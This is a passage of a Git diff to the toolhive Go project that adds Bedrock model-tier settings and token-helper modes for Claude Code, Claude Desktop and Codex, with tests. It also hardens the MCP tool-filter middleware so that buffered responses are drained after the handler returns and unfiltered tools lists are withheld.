fmt.Fprintf(errOut, + "Warning: a managed-preferences profile for %s is present; it overrides the local "+ + "configuration just written, which will be ignored. Remove the managed profile or "+ + "configure the gateway there instead.\n", tc.Tool) + } + } +} + // revertToolConfig reverts the settings-file and .env patches for a single // tool. Errors are logged as warnings so the caller can continue with others. func revertToolConfig(out, errOut io.Writer, gm GatewayManager, tc ToolConfig) { @@ -525,7 +728,7 @@ func rollbackConfiguredTools(errOut io.Writer, gm GatewayManager, configured []T // hasProxyMode reports whether any of the given tool configs uses proxy mode. func hasProxyMode(cfgs []ToolConfig) bool { for _, t := range cfgs { - if t.Mode == "proxy" { + if t.Mode == llmgateway.ModeProxy { return true } } diff --git a/pkg/llm/setup_test.go b/pkg/llm/setup_test.go index b8a4af5bdd..aa0ae2c841 100644 --- a/pkg/llm/setup_test.go +++ b/pkg/llm/setup_test.go @@ -20,6 +20,204 @@ import ( secretsmocks "github.com/stacklok/toolhive/pkg/secrets/mocks" ) +// ── resolveBedrockModels ────────────────────────────────────────────────────── + +func TestResolveBedrockModels(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + models []string + enable1M bool + wantHaiku string + wantOpus string + wantSonnet string + wantWarnings []string + }{ + { + name: "defaults when no overrides", + wantHaiku: defaultBedrockHaikuModel, + wantOpus: defaultBedrockOpusModel, + wantSonnet: defaultBedrockSonnetModel, + }, + { + name: "override each tier by substring", + models: []string{"us.anthropic.claude-haiku-x", "us.anthropic.claude-opus-x", "us.anthropic.claude-sonnet-x"}, + wantHaiku: "us.anthropic.claude-haiku-x", + wantOpus: "us.anthropic.claude-opus-x", + wantSonnet: "us.anthropic.claude-sonnet-x", + }, + { + name: "enable1M appends [1m] to opus and sonnet only", + enable1M: true, + wantHaiku: defaultBedrockHaikuModel, + wantOpus: defaultBedrockOpusModel + "[1m]", + wantSonnet: defaultBedrockSonnetModel + "[1m]", + }, + { + name: "unmatched entry is reported and ignored", + models: []string{"us.anthropic.claude-opus-x", "some-random-model"}, + wantHaiku: defaultBedrockHaikuModel, + wantOpus: "us.anthropic.claude-opus-x", + wantSonnet: defaultBedrockSonnetModel, + wantWarnings: []string{`--models entry "some-random-model" did not match a tier (expected haiku/opus/sonnet in the ID); ignored`}, + }, + { + name: "matching is case-insensitive", + models: []string{"US.ANTHROPIC.CLAUDE-OPUS-X"}, + wantHaiku: defaultBedrockHaikuModel, + wantOpus: "US.ANTHROPIC.CLAUDE-OPUS-X", + wantSonnet: defaultBedrockSonnetModel, + }, + { + name: "duplicate-tier override reports the clobbered entry and last wins", + models: []string{"us.anthropic.claude-sonnet-5", "us.anthropic.claude-sonnet-4-6"}, + wantHaiku: defaultBedrockHaikuModel, + wantOpus: defaultBedrockOpusModel, + wantSonnet: "us.anthropic.claude-sonnet-4-6", + wantWarnings: []string{ + `--models entry "us.anthropic.claude-sonnet-4-6" overrides "us.anthropic.claude-sonnet-5" for the sonnet tier; only the last is used`, + }, + }, + { + name: "already-suffixed override is not doubled with enable1M", + models: []string{"us.anthropic.claude-opus-4-8[1m]"}, + enable1M: true, + wantHaiku: defaultBedrockHaikuModel, + wantOpus: "us.anthropic.claude-opus-4-8[1m]", + wantSonnet: defaultBedrockSonnetModel + "[1m]", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + haiku, opus, sonnet, warnings := resolveBedrockModels(tt.models, tt.enable1M) + assert.Equal(t, tt.wantHaiku, haiku) + assert.Equal(t, tt.wantOpus, opus) + assert.Equal(t, tt.wantSonnet, sonnet) + assert.Equal(t, tt.wantWarnings, warnings) + }) + } +} + +// ── warnBedrockNoEffect ─────────────────────────────────────────────────────── + +func TestWarnBedrockNoEffect(t *testing.T) { + t.Parallel() + + claudeCode := []ToolConfig{{Tool: claudeCodeClient}} + cursorOnly := []ToolConfig{{Tool: "cursor"}} + + tests := []struct { + name string + opts SetOptions // flags passed THIS run + effectiveCompat bool // merged persisted + inline compat + configured []ToolConfig + wantWarn string // substring expected on stderr; "" means no output + }{ + { + name: "compat passed this run with claude-code configured is silent", + opts: SetOptions{BedrockCompat: boolPtr(true)}, + effectiveCompat: true, + configured: claudeCode, + }, + { + name: "compat passed this run without claude-code warns", + opts: SetOptions{BedrockCompat: boolPtr(true)}, + effectiveCompat: true, + configured: cursorOnly, + wantWarn: "--bedrock-compat was set but Claude Code was not configured", + }, + { + // Regression: bedrock-compat is persisted, so a later run that omits the + // flag must NOT warn even though effective compat is on and claude-code + // is not among the configured tools. + name: "persisted compat, flag not passed this run, is silent", + opts: SetOptions{}, + effectiveCompat: true, + configured: cursorOnly, + }, + { + name: "enable1M passed this run without compat warns", + opts: SetOptions{Enable1M: boolPtr(true)}, + configured: claudeCode, + wantWarn: "--enable-1m has no effect without --bedrock-compat", + }, + { + name: "enable1M passed this run with effective compat is silent", + opts: SetOptions{Enable1M: boolPtr(true)}, + effectiveCompat: true, + configured: claudeCode, + }, + { + name: "no bedrock flags this run is silent", + opts: SetOptions{}, + configured: claudeCode, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + var errOut bytes.Buffer + warnBedrockNoEffect(&errOut, tt.opts, tt.effectiveCompat, tt.configured) + if tt.wantWarn == "" { + assert.Empty(t, errOut.String()) + return + } + assert.Contains(t, errOut.String(), tt.wantWarn) + }) + } +} + +// TestConfigureDetectedTools_BedrockClaudeCode verifies that bedrock-compat +// populates the ApplyConfig bedrock fields for claude-code (with defaults) and +// leaves them untouched for a non-claude-code client. +func TestConfigureDetectedTools_BedrockClaudeCode(t *testing.T) { + t.Parallel() + + gm := &capturingGatewayManager{mode: "direct"} + var out, errOut bytes.Buffer + + _, err := configureDetectedTools( + &out, &errOut, gm, + []string{"claude-code"}, + "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, + "/usr/local/bin/thv", []string{"llm", "token", "--skip-browser"}, + false, "/anthropic", nil, + BedrockConfig{Compat: true, Enable1M: true}, + ) + require.NoError(t, err) + require.Len(t, gm.applied, 1) + + got := gm.applied[0] + assert.True(t, got.BedrockCompat) + assert.Equal(t, defaultBedrockHaikuModel, got.BedrockHaikuModel) + assert.Equal(t, defaultBedrockOpusModel+"[1m]", got.BedrockOpusModel) + assert.Equal(t, defaultBedrockSonnetModel+"[1m]", got.BedrockSonnetModel) +} + +func TestConfigureDetectedTools_BedrockSkippedForNonClaudeCode(t *testing.T) { + t.Parallel() + + gm := &capturingGatewayManager{mode: "proxy"} + var out, errOut bytes.Buffer + + _, err := configureDetectedTools( + &out, &errOut, gm, + []string{"cursor"}, + "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, + "/usr/local/bin/thv", []string{"llm", "token", "--skip-browser"}, + false, "", nil, + BedrockConfig{Compat: true}, + ) + require.NoError(t, err) + require.Len(t, gm.applied, 1) + assert.False(t, gm.applied[0].BedrockCompat) + assert.Empty(t, gm.applied[0].BedrockOpusModel) +} + // ── mergeToolConfigs ────────────────────────────────────────────────────────── func TestMergeToolConfigs_EmptyExisting(t *testing.T) { @@ -104,6 +302,7 @@ func (*stubGatewayManager) ConfigureLLMGateway(_ string, _ llmgateway.ApplyConfi return "", nil } func (*stubGatewayManager) LLMGatewayModeFor(_ string) string { return "" } +func (*stubGatewayManager) IsManaged(_ string) bool { return false } func (*stubGatewayManager) ConfigureEnvFile(_ string, _ llmgateway.ApplyConfig) (string, error) { return "", nil } @@ -193,6 +392,7 @@ func (*setupGatewayManager) ConfigureLLMGateway(_ string, _ llmgateway.ApplyConf return "/tmp/settings.json", nil } func (g *setupGatewayManager) LLMGatewayModeFor(_ string) string { return g.mode } +func (*setupGatewayManager) IsManaged(_ string) bool { return false } func (*setupGatewayManager) ConfigureEnvFile(_ string, _ llmgateway.ApplyConfig) (string, error) { return "", nil } @@ -277,6 +477,7 @@ func (g *capturingGatewayManager) ConfigureLLMGateway(_ string, cfg llmgateway.A return "/path/to/settings.json", nil } func (g *capturingGatewayManager) LLMGatewayModeFor(_ string) string { return g.mode } +func (*capturingGatewayManager) IsManaged(_ string) bool { return false } func (*capturingGatewayManager) LLMSetupNoteFor(_ string) string { return "" } func (*capturingGatewayManager) RevertLLMGateway(_, _ string) error { return nil } func (*capturingGatewayManager) ConfigureEnvFile(_ string, _ llmgateway.ApplyConfig) (string, error) { @@ -294,7 +495,9 @@ func TestConfigureDetectedTools_PathPrefixAppendedForDirectMode(t *testing.T) { &out, &errOut, gm, []string{"claude-code"}, "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, - false, "/anthropic", + "/usr/local/bin/thv", []string{"llm", "token", "--skip-browser"}, + false, "/anthropic", nil, + BedrockConfig{}, ) require.NoError(t, err) require.Len(t, gm.applied, 1) @@ -314,7 +517,9 @@ func TestConfigureDetectedTools_NoPrefixWhenEmpty(t *testing.T) { &out, &errOut, gm, []string{"claude-code"}, "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, - false, "", // no prefix + "/usr/local/bin/thv", []string{"llm", "token", "--skip-browser"}, + false, "", nil, // no prefix + BedrockConfig{}, ) require.NoError(t, err) require.Len(t, gm.applied, 1) @@ -333,7 +538,9 @@ func TestConfigureDetectedTools_PrefixNotAppliedForProxyMode(t *testing.T) { &out, &errOut, gm, []string{"cursor"}, "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, - false, "/anthropic", + "/usr/local/bin/thv", []string{"llm", "token", "--skip-browser"}, + false, "/anthropic", nil, + BedrockConfig{}, ) require.NoError(t, err) require.Len(t, gm.applied, 1) @@ -342,6 +549,92 @@ func TestConfigureDetectedTools_PrefixNotAppliedForProxyMode(t *testing.T) { assert.Empty(t, gm.applied[0].AnthropicBaseURL) } +func TestTokenHelperCommandNeeded(t *testing.T) { + t.Parallel() + tests := []struct { + name string + modes map[string]string + detected []string + want bool + }{ + { + name: "codex-only run never needs the shell-string helper", + modes: map[string]string{"codex": llmgateway.ModeCodexAuth}, + detected: []string{"codex"}, + want: false, + }, + { + name: "proxy-only run never needs the shell-string helper", + modes: map[string]string{"cursor": llmgateway.ModeProxy}, + detected: []string{"cursor"}, + want: false, + }, + { + name: "direct mode needs it", + modes: map[string]string{"claude-code": llmgateway.ModeDirect}, + detected: []string{"claude-code"}, + want: true, + }, + { + name: "credential-helper mode needs it", + modes: map[string]string{"claude-desktop": llmgateway.ModeCredentialHelper}, + detected: []string{"claude-desktop"}, + want: true, + }, + { + name: "any detected tool needing it is enough", + modes: map[string]string{ + "codex": llmgateway.ModeCodexAuth, + "claude-code": llmgateway.ModeDirect, + }, + detected: []string{"codex", "claude-code"}, + want: true, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + gm := &modeLookupGatewayManager{modes: tt.modes} + assert.Equal(t, tt.want, tokenHelperCommandNeeded(gm, tt.detected)) + }) + } +} + +// modeLookupGatewayManager is a minimal GatewayManager whose LLMGatewayModeFor +// returns a per-client mode from a fixed map, for tokenHelperCommandNeeded tests. +type modeLookupGatewayManager struct{ modes map[string]string } + +func (*modeLookupGatewayManager) DetectedLLMGatewayClients() []string { return nil } +func (*modeLookupGatewayManager) ConfigureLLMGateway(_ string, _ llmgateway.ApplyConfig) (string, error) { + return "", nil +} +func (g *modeLookupGatewayManager) LLMGatewayModeFor(c string) string { return g.modes[c] } +func (*modeLookupGatewayManager) IsManaged(_ string) bool { return false } +func (*modeLookupGatewayManager) ConfigureEnvFile(_ string, _ llmgateway.ApplyConfig) (string, error) { + return "", nil +} +func (*modeLookupGatewayManager) RevertEnvFile(_, _ string) error { return nil } +func (*modeLookupGatewayManager) RevertLLMGateway(_, _ string) error { return nil } + +func TestBuildTokenHelperArgv(t *testing.T) { + t.Parallel() + + path, args, err := buildTokenHelperArgv() + require.NoError(t, err) + assert.NotEmpty(t, path) + assert.Equal(t, []string{"llm", "token", "--skip-browser"}, args) +} + +func TestWarnTLSSkipVerify_CodexWarning(t *testing.T) { + t.Parallel() + + var errOut bytes.Buffer + warnTLSSkipVerify(&errOut, true, []ToolConfig{{Tool: "codex", Mode: llmgateway.ModeCodexAuth}}) + out := errOut.String() + assert.Contains(t, out, "Warning:") + assert.Contains(t, out, "was NOT applied to codex") +} + // ── probeAnthropicPrefix ────────────────────────────────────────────────────── func TestProbeAnthropicPrefix_Returns_Anthropic_On_401(t *testing.T) { @@ -382,3 +675,43 @@ func TestProbeAnthropicPrefix_Returns_Empty_For_EmptyGatewayURL(t *testing.T) { prefix := probeAnthropicPrefix(context.Background(), "", false) assert.Empty(t, prefix) } + +// managedGatewayManager is a stub whose IsManaged is configurable per client, +// for exercising warnCredentialHelperTools' managed-profile warning branch. +type managedGatewayManager struct{ managed map[string]bool } + +func (*managedGatewayManager) DetectedLLMGatewayClients() []string { return nil } +func (*managedGatewayManager) ConfigureLLMGateway(_ string, _ llmgateway.ApplyConfig) (string, error) { + return "", nil +} +func (*managedGatewayManager) LLMGatewayModeFor(_ string) string { + return llmgateway.ModeCredentialHelper +} +func (g *managedGatewayManager) IsManaged(c string) bool { return g.managed[c] } +func (*managedGatewayManager) ConfigureEnvFile(_ string, _ llmgateway.ApplyConfig) (string, error) { + return "", nil +} +func (*managedGatewayManager) RevertEnvFile(_, _ string) error { return nil } +func (*managedGatewayManager) RevertLLMGateway(_, _ string) error { return nil } + +func TestWarnCredentialHelperTools(t *testing.T) { + t.Parallel() + gm := &managedGatewayManager{managed: map[string]bool{"claude-desktop": true}} + var out, errOut bytes.Buffer + + warnCredentialHelperTools(&out, &errOut, gm, []ToolConfig{ + {Tool: "claude-desktop", Mode: llmgateway.ModeCredentialHelper}, + {Tool: "other-desktop", Mode: llmgateway.ModeCredentialHelper}, + {Tool: "claude-code", Mode: "direct"}, + }) + + // The relaunch note prints on stdout for every credential-helper tool, and + // not for non-credential-helper tools. + assert.Contains(t, out.String(), "claude-desktop reads its configuration only at launch") + assert.Contains(t, out.String(), "other-desktop reads its configuration only at launch") + assert.NotContains(t, out.String(), "claude-code") + + // The MDM warning prints on stderr only for the managed tool. + assert.Contains(t, errOut.String(), "managed-preferences profile for claude-desktop") + assert.NotContains(t, errOut.String(), "profile for other-desktop") +} diff --git a/pkg/llmgateway/config.go b/pkg/llmgateway/config.go index 2b033dddc0..c3795be729 100644 --- a/pkg/llmgateway/config.go +++ b/pkg/llmgateway/config.go @@ -24,6 +24,49 @@ const ClaudeCodeHelperTTL = 5 * time.Minute // suspenders pairing work; keep the two values in sync (guarded by a test). const LLMTokenRefreshWindow = 2 * ClaudeCodeHelperTTL +// ClaudeDesktopHelperTTL is written to the Claude Desktop config as +// inferenceCredentialHelperTtlSec: how often Claude Desktop re-invokes the +// credential helper (a shim that runs "thv llm token"). Kept equal to +// ClaudeCodeHelperTTL so the same LLMTokenRefreshWindow invariant holds — every +// invocation in the final window forces a refresh, so Claude Desktop never +// receives an about-to-expire token. +const ClaudeDesktopHelperTTL = ClaudeCodeHelperTTL + +// ClaudeDesktopHelperTimeout is written as inferenceCredentialHelperTimeoutSec: +// how long Claude Desktop waits for the credential helper to print a token +// before killing it. Sized to allow a silent OIDC refresh (cached refresh token +// → new access token) but not a full interactive re-auth, which "thv llm setup" +// performs up front so the steady-state helper call stays fast. +const ClaudeDesktopHelperTimeout = 30 * time.Second + +// CodexHelperTTL is written to config.toml as +// [model_providers..auth].refresh_interval_ms: how often Codex re-invokes +// the token helper ("thv llm token"). Kept equal to ClaudeCodeHelperTTL so the +// same LLMTokenRefreshWindow invariant holds — every invocation in the final +// window forces a refresh, so Codex never receives an about-to-expire token. +const CodexHelperTTL = ClaudeCodeHelperTTL + +// LLM gateway client modes. The single source of truth dispatched on in +// pkg/client (ConfigureLLMGateway/RevertLLMGateway) and pkg/llm +// (usesAnthropicBaseURL/warnCredentialHelperTools). Kept here so both packages +// reference one compiler-checked set of values rather than carrying private +// string copies that can drift. +const ( + // ModeDirect routes traffic through ANTHROPIC_BASE_URL / a token helper. + ModeDirect = "direct" + // ModeProxy routes traffic through a localhost reverse proxy. + ModeProxy = "proxy" + // ModeCredentialHelper routes traffic through a document + selector + + // helper-script model (Claude Desktop's third-party inference surface). + ModeCredentialHelper = "credential-helper" //nolint:gosec // G101: mode identifier, not a credential + // ModeCodexAuth routes traffic through a custom model_provider written into + // Codex's TOML config, using Codex's command-backed bearer-token auth + // ([model_providers..auth]) to invoke the token helper directly (no + // shell), rather than the JSON-Pointer LLMGatewayKeys mechanism the other + // modes share. + ModeCodexAuth = "codex-auth" //nolint:gosec // G101: mode identifier, not a credential +) + // ProxyOriginOf returns rawURL with its path, query, fragment, and userinfo // stripped so only the scheme and host remain (the "origin"). Tools like // Gemini CLI that append their own API path (e.g. /v1beta/...) need the @@ -55,5 +98,25 @@ type ApplyConfig struct { AnthropicBaseURL string // direct-mode: effective ANTHROPIC_BASE_URL (gateway + optional path prefix) ProxyBaseURL string // proxy-mode: URL of the localhost reverse proxy TokenHelperCommand string // direct-mode: shell command that prints a fresh token - TLSSkipVerify bool // when true, instruct the tool to skip TLS verification + // TokenHelperPath and TokenHelperArgs are the argv-form of the token helper, + // for config formats where auth invokes an executable directly (no shell) — + // e.g. Codex's [model_providers..auth] command/args table. + TokenHelperPath string + TokenHelperArgs []string + TLSSkipVerify bool // when true, instruct the tool to skip TLS verification + // Models is the optional explicit model list written to clients that support + // a model override (e.g. Claude Desktop's inferenceModels). Empty means the + // client falls back to gateway-side model auto-discovery. + Models []string + // BedrockCompat and the per-tier Bedrock model IDs configure Claude Code for a + // gateway that forwards to AWS Bedrock. When BedrockCompat is true, Claude Code + // is configured with CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 (Bedrock rejects + // the experimental anthropic-beta headers) and the three per-tier model IDs. + // The caller (pkg/llm) resolves defaults, tier mapping, and the optional "[1m]" + // suffix; pkg/client only writes the resolved values. All are empty/false for + // non-Bedrock setups. + BedrockCompat bool + BedrockHaikuModel string + BedrockOpusModel string + BedrockSonnetModel string } diff --git a/pkg/llmgateway/config_test.go b/pkg/llmgateway/config_test.go index 71933afbe1..1315eb6819 100644 --- a/pkg/llmgateway/config_test.go +++ b/pkg/llmgateway/config_test.go @@ -28,6 +28,10 @@ func TestRefreshWindowExceedsHelperTTL(t *testing.T) { assert.Equal(t, int64(300000), llmgateway.ClaudeCodeHelperTTL.Milliseconds(), "helper TTL is written to settings.json in milliseconds") assert.Equal(t, 10*time.Minute, llmgateway.LLMTokenRefreshWindow) + + // Codex writes refresh_interval_ms and relies on the same invariant. + assert.Greater(t, llmgateway.LLMTokenRefreshWindow, llmgateway.CodexHelperTTL, + "refresh window must exceed Codex's helper TTL for the same reason it exceeds Claude Code's") } func TestProxyOriginOf(t *testing.T) { diff --git a/pkg/mcp/errors.go b/pkg/mcp/errors.go new file mode 100644 index 0000000000..1cc1aacf2d --- /dev/null +++ b/pkg/mcp/errors.go @@ -0,0 +1,16 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package mcp + +// CodedError is implemented by domain errors that should surface a stable error +// code and optional structured data in an MCP tool result. +// +// The mcp-go tool-handler seam maps returned Go errors to a generic JSON-RPC +// INTERNAL_ERROR, so Serve-path handlers convert these errors to IsError tool +// results with StructuredContent instead of returning them as handler errors. +type CodedError interface { + error + Code() int64 + Data() map[string]any +} diff --git a/pkg/mcp/parser_test.go b/pkg/mcp/parser_test.go index cc075a58a9..ec653c5635 100644 --- a/pkg/mcp/parser_test.go +++ b/pkg/mcp/parser_test.go @@ -1270,6 +1270,7 @@ func TestParseMCPRequestWithInvalidJSON(t *testing.T) { name: "JSON-RPC response instead of request", body: `{"jsonrpc":"2.0","id":1,"result":{"success":true}}`, checkReq: func(t *testing.T, r *ParsedMCPRequest) { + t.Helper() assert.False(t, r.IsRequest) }, }, @@ -1277,6 +1278,7 @@ func TestParseMCPRequestWithInvalidJSON(t *testing.T) { name: "JSON-RPC error instead of request", body: `{"jsonrpc":"2.0","id":1,"error":{"code":-1,"message":"error"}}`, checkReq: func(t *testing.T, r *ParsedMCPRequest) { + t.Helper() assert.False(t, r.IsRequest) }, }, diff --git a/pkg/mcp/tool_filter.go b/pkg/mcp/tool_filter.go index 3bc6facca0..e277bbe788 100644 --- a/pkg/mcp/tool_filter.go +++ b/pkg/mcp/tool_filter.go @@ -19,6 +19,7 @@ import ( var errToolNameNotFound = errors.New("tool name not found") var errBug = errors.New("there's a bug") var errKeepBuffering = errors.New("keep buffering") +var errUnsupportedMimeType = errors.New("unsupported mime type") // toolOverrideEntry is a struct that represents a tool override entry. type toolOverrideEntry struct { @@ -189,10 +190,21 @@ func NewListToolsMappingMiddleware(opts ...ToolMiddlewareOption) (types.Middlewa rw := &toolFilterWriter{ ResponseWriter: w, config: config, + statusCode: http.StatusOK, // matches net/http's implicit status when WriteHeader is never called } // Call the next handler next.ServeHTTP(rw, r) + + // Explicitly drain our buffered writer after the handler returns. An inner + // buffering middleware (e.g. authz's response filter) may write the final + // body into our buffer during its own post-ServeHTTP flush; without this + // call that body is stranded and the client gets a 0-byte response. See #5797. + // + // This is the terminal drain, not a streaming Flush: there is no more data + // coming, so a body we can't process (wrong/missing content type, malformed + // tools list) is written through unchanged rather than dropped. See #5809 (review). + rw.finish() }) }, nil } @@ -311,8 +323,9 @@ func NewToolCallMappingMiddleware(opts ...ToolMiddlewareOption) (types.Middlewar // toolFilterWriter wraps http.ResponseWriter to capture and process SSE responses type toolFilterWriter struct { http.ResponseWriter - buffer []byte - config *toolMiddlewareConfig + buffer []byte + config *toolMiddlewareConfig + statusCode int } // WriteHeader captures the status code. @@ -323,6 +336,7 @@ type toolFilterWriter struct { // Content-Length" and the client receives only the headers. Removing the // header lets Go fall back to chunked transfer encoding. func (rw *toolFilterWriter) WriteHeader(statusCode int) { + rw.statusCode = statusCode rw.ResponseWriter.Header().Del("Content-Length") rw.ResponseWriter.WriteHeader(statusCode) } @@ -333,40 +347,110 @@ func (rw *toolFilterWriter) Write(data []byte) (int, error) { return len(data), nil } -// Flush processes any remaining buffered data and writes it to the underlying ResponseWriter +// Flush processes any remaining buffered data, writes it to the underlying +// ResponseWriter, and forwards the flush downstream. This is the interim/ +// streaming path: a downstream handler or reverse proxy may call this +// mid-response, so an incomplete SSE event or partial JSON body is left +// buffered for a later call to complete, and the transport flush is not +// forwarded in that case -- there's nothing new to push over the wire, and +// forwarding it could send a still-incomplete frame. Use finish() for the +// one-time terminal drain after the wrapped handler has returned. func (rw *toolFilterWriter) Flush() { - if len(rw.buffer) > 0 { - mimeType := strings.Split(rw.ResponseWriter.Header().Get("Content-Type"), ";")[0] + if !rw.drainBuffer(false) { + return + } - if mimeType == "" { - _, err := rw.ResponseWriter.Write(rw.buffer) - if err != nil { - slog.Error("error writing buffer", "error", err) - } - return - } + if flusher, ok := rw.ResponseWriter.(http.Flusher); ok { + flusher.Flush() + } +} + +// finish performs the terminal drain of any remaining buffered data after the +// wrapped handler has returned. Unlike Flush, there is no more data coming: +// an incomplete body (a truncated stream, a connection cut short) is written +// through unchanged rather than held forever, and an unrecognized/missing +// Content-Type on a response with nothing to filter is likewise passed +// through as-is. It does not forward a transport flush, since returning from +// ServeHTTP already completes the response. +// +// A body that DOES look like a tools list but fails to filter is the one +// case finish() will not pass through -- see drainBuffer. +func (rw *toolFilterWriter) finish() { + rw.drainBuffer(true) +} + +// drainBuffer processes the buffered response body according to its MIME +// type and writes the result to the underlying ResponseWriter. It reports +// whether the caller may safely forward a transport-level flush: false means +// data is being deliberately withheld, either because it's incomplete and +// more is expected (Flush, non-terminal) or because it looked like a tools +// list we could not safely filter (fail closed, in both Flush and finish). +// +// When terminal is false (Flush, mid-stream), a body processBuffer reports as +// incomplete is left buffered for a later call. When terminal is true +// (finish, called once ServeHTTP has returned), there won't be a later call, +// so an incomplete body is written through unchanged instead of being +// stranded. +// +// A hard filtering failure -- a response that resolved to a tools list +// (whether correctly labeled or sniffed, see processUnrecognizedMimeType) but +// couldn't be filtered, e.g. a tool missing its required name -- is never +// passed through, in either mode: doing so would leak the unfiltered list. +func (rw *toolFilterWriter) drainBuffer(terminal bool) bool { + if len(rw.buffer) == 0 { + return true + } + + mimeType := strings.Split(rw.ResponseWriter.Header().Get("Content-Type"), ";")[0] + successResponse := rw.statusCode == http.StatusOK || rw.statusCode == http.StatusAccepted + + var b bytes.Buffer + err := processBuffer(rw.config, rw.buffer, mimeType, successResponse, &b) - var b bytes.Buffer - err := processBuffer(rw.config, rw.buffer, mimeType, &b) - if errors.Is(err, errKeepBuffering) { + switch { + case errors.Is(err, errKeepBuffering): + if !terminal { slog.Debug("keep buffering", "buffered_bytes", len(rw.buffer)) - return - } - if err != nil { - slog.Error("error flushing response", "error", err) + return false } + slog.Warn("response ended with an incomplete buffered body; writing it through unchanged", + "buffered_bytes", len(rw.buffer)) + rw.writeBuffer(rw.buffer) + return true + + case errors.Is(err, errUnsupportedMimeType): + // processBuffer only returns this once it has ruled out the buffer being + // a tools list: either the response has nothing to filter (a non-2xx + // error body), or it's a 2xx body that doesn't look like a tools list + // under either supported wire format. Either way, passing it through + // unchanged cannot leak an unfiltered list. + rw.writeBuffer(rw.buffer) + return true + + case err != nil: + // A recognized (or sniffed) tools list that failed to filter -- e.g. a + // malformed tool entry. Fail closed: writing the raw, unfiltered body + // through would defeat the filter entirely. + slog.Error("error filtering buffered response; refusing to pass through unfiltered", "error", err) + rw.buffer = rw.buffer[:0] + return false + default: slog.Debug("flushing buffer", "bytes", len(b.Bytes())) - _, err = rw.ResponseWriter.Write(b.Bytes()) - if err != nil { - slog.Error("error writing buffer", "error", err) - } - rw.buffer = rw.buffer[:0] // Reset buffer + rw.writeBuffer(b.Bytes()) + return true } +} - if flusher, ok := rw.ResponseWriter.(http.Flusher); ok { - flusher.Flush() +// writeBuffer writes data to the underlying ResponseWriter and resets rw.buffer. +// data is expected to be either rw.buffer itself or a value derived from it, so +// resetting after the write is always correct. +func (rw *toolFilterWriter) writeBuffer(data []byte) { + _, err := rw.ResponseWriter.Write(data) + if err != nil { + slog.Error("error writing buffer", "error", err) } + rw.buffer = rw.buffer[:0] // Reset buffer } type toolsListResponse struct { @@ -384,11 +468,16 @@ type toolCallRequest struct { Params *map[string]any `json:"params,omitempty"` } -// processSSEBuffer processes any complete SSE events in the buffer +// processBuffer processes the buffered response body according to its +// declared MIME type. successResponse indicates whether the response's +// status code was 200/202: it's only consulted for an unrecognized MIME type, +// to decide whether the body needs sniffing before it can safely be passed +// through -- see processUnrecognizedMimeType. func processBuffer( config *toolMiddlewareConfig, buffer []byte, mimeType string, + successResponse bool, w io.Writer, ) error { if len(buffer) == 0 { @@ -397,34 +486,103 @@ func processBuffer( switch mimeType { case "application/json": - var toolsListResponse toolsListResponse - var syntaxError *json.SyntaxError - err := json.Unmarshal(buffer, &toolsListResponse) - if errors.As(err, &syntaxError) { - return fmt.Errorf("%w: %w", errKeepBuffering, err) - } - if err == nil && toolsListResponse.Result.Tools != nil { - return processToolsListResponse(config, toolsListResponse, w) - } + return processJSONBuffer(config, buffer, w) case "text/event-stream": return processEventStream(config, buffer, w) default: - // NOTE: Content-Type header is mandatory in the spec, and as of the - // time of this writing, the only allowed content types are - // * application/json, and - // * text/event-stream - // - // As a result, we should never get here and it is safe to return an - // error. - return fmt.Errorf("unsupported mime type: %s", mimeType) - } - - // If we get this far, we have a valid buffer that we cannot process - // in any other way, so we just write it to the underlying writer. - _, err := w.Write(buffer) + return processUnrecognizedMimeType(config, buffer, mimeType, successResponse, w) + } +} + +// processJSONBuffer filters a JSON-RPC response body if it carries a tools +// list, otherwise passes it through unchanged (e.g. a tools/call result, or +// any other JSON-RPC message this middleware isn't meant to touch). +func processJSONBuffer(config *toolMiddlewareConfig, buffer []byte, w io.Writer) error { + var toolsListResponse toolsListResponse + var syntaxError *json.SyntaxError + err := json.Unmarshal(buffer, &toolsListResponse) + if errors.As(err, &syntaxError) { + return fmt.Errorf("%w: %w", errKeepBuffering, err) + } + if err == nil && toolsListResponse.Result.Tools != nil { + return processToolsListResponse(config, toolsListResponse, w) + } + + _, err = w.Write(buffer) return err } +// processUnrecognizedMimeType handles a body whose Content-Type is missing or +// isn't one of the two MCP-supported types (application/json, +// text/event-stream). +// +// A non-2xx response has nothing to filter -- the tool filter only ever acts +// on a tools/list result, which a non-2xx status can't carry -- so it's +// always safe to pass through. +// +// A 2xx response, on the other hand, is spec-required to declare one of the +// two supported Content-Types. A missing or wrong header there could be an +// accident, or a backend deliberately omitting/mislabeling it to smuggle an +// unfiltered tools list past the filter (the same disguised-result concern +// handled in pkg/authz for #5257). So the raw body is sniffed the same way a +// correctly-labeled response would be processed: if it resolves to a tools +// list under either supported shape, it's filtered (or, on failure, rejected) +// exactly as it would be under the correct Content-Type. Only once neither +// shape resolves to a tools list is it safe to pass through unchanged. +// +// Known limitation: unlike the correctly-labeled paths, this sniff has no +// notion of "incomplete, wait for more" -- a tools list that both omits/ +// mislabels its Content-Type AND arrives across multiple Flush() calls may +// be sniffed as "not a tools list" on an early, truncated call and passed +// through piecemeal before the full body is available. A compliant backend +// that streams a tools list always declares text/event-stream, so this only +// affects a backend that is already violating the spec on two axes at once. +func processUnrecognizedMimeType( + config *toolMiddlewareConfig, + buffer []byte, + mimeType string, + successResponse bool, + w io.Writer, +) error { + if !successResponse { + return fmt.Errorf("%w: %s", errUnsupportedMimeType, mimeType) + } + + var candidate toolsListResponse + if err := json.Unmarshal(buffer, &candidate); err == nil && candidate.Result.Tools != nil { + return processToolsListResponse(config, candidate, w) + } + + if sniffSSEToolsList(buffer) { + return processEventStream(config, buffer, w) + } + + return fmt.Errorf("%w: %s", errUnsupportedMimeType, mimeType) +} + +// sniffSSEToolsList reports whether buffer contains an SSE "data:" line whose +// payload decodes to a tools 